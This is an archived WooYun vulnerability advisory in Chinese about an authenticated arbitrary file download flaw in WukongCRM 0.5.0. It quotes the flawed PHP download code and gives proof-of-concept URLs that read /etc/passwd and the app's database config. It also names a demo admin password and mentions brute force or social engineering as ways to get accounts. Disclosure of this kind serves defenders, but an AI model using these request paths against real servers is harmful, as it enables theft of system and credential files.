当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2015-105480

漏洞标题: 悟空CRM任意文件下载漏洞(需登录)

相关厂商: 悟空CRM

漏洞作者: testing

提交时间: 2015-04-07 10:18

公开时间: 2015-05-22 10:20

漏洞类型: 任意文件遍历/下载

危害等级: 高

自评Rank: 15

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件读取

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

悟空CRM任意文件下载漏洞

详细说明:

悟空CRM 0.5.0 Beta版





code 区域
\app\Lib\Action\FileAction.class.php 163行
public function filedownload(){
$path = trim(urldecode($_GET['path']));
$name = substr(trim(urldecode($_GET['name'])),0,-4);
if($path && $name) download($path,$name);
else $this->error('非法操作!');
}





$_GET['path']和$_GET['name']未过滤后调用download函数,跟踪查看函数代码。



code 区域
\app\Common\common.php1204行
function download($file,$name=''){
$fileName = $name ? $name : pathinfo($file,PATHINFO_FILENAME);
$filePath = realpath($file);

$fp = fopen($filePath,'rb');

if(!$filePath || !$fp){
header('HTTP/1.1 404 Not Found');
echo "Error: 404 Not Found.(server file path error)<!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding --><!-- Padding -->";
exit;
}

$fileName = $fileName .'.'. pathinfo($filePath,PATHINFO_EXTENSION);
$encoded_filename = urlencode($fileName);
$encoded_filename = str_replace("+", "%20", $encoded_filename);

header('HTTP/1.1 200 OK');
header( "Pragma: public" );
header( "Expires: 0" );
header("Content-type: application/octet-stream");
header("Content-Length: ".filesize($filePath));
header("Accept-Ranges: bytes");
header("Accept-Length: ".filesize($filePath));

$ua = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE/", $ua)) {
header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
} else if (preg_match("/Firefox/", $ua)) {
header('Content-Disposition: attachment; filename*="utf8\'\'' . $fileName . '"');
} else {
header('Content-Disposition: attachment; filename="' . $fileName . '"');
}

// ob_end_clean(); <--有些情况可能需要调用此函数
// 输出文件内容
fpassthru($fp);
exit;
}





$filePath = realpath($file);做了路径过滤,不准出现../来绕过路径限制,但是紧接着执行$fp = fopen($filePath,'rb');就使得过滤毫无作用。因为可以传递一个绝对路径,直接造成任意文件遍历。

可以看到参数传递过程是这样的,$_GET['path'] -> $file -> $filePath ->fopen($filePath,'rb')





拿官网提供的示例页面证明:

http://**.**.**.**

账号:admin 密码:123456a 登陆。

(CRM系统只有登陆界面在未登录状态可访问,所以本漏洞至少需要一个普通权限账号才可验证,由于员工账号安全性较低,可通过爆破或社工手段获得)



登陆后打开:http://**.**.**.**/index.php?m=file&a=filedownload&path=/etc/passwd&name=test.test

1.jpg





http://**.**.**.**/index.php?m=file&a=filedownload&path=./App/Conf/db.php&name=test.test

2.jpg

漏洞证明:

1.jpg



2.jpg

修复方案:

版权声明:转载请注明来源 testing@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录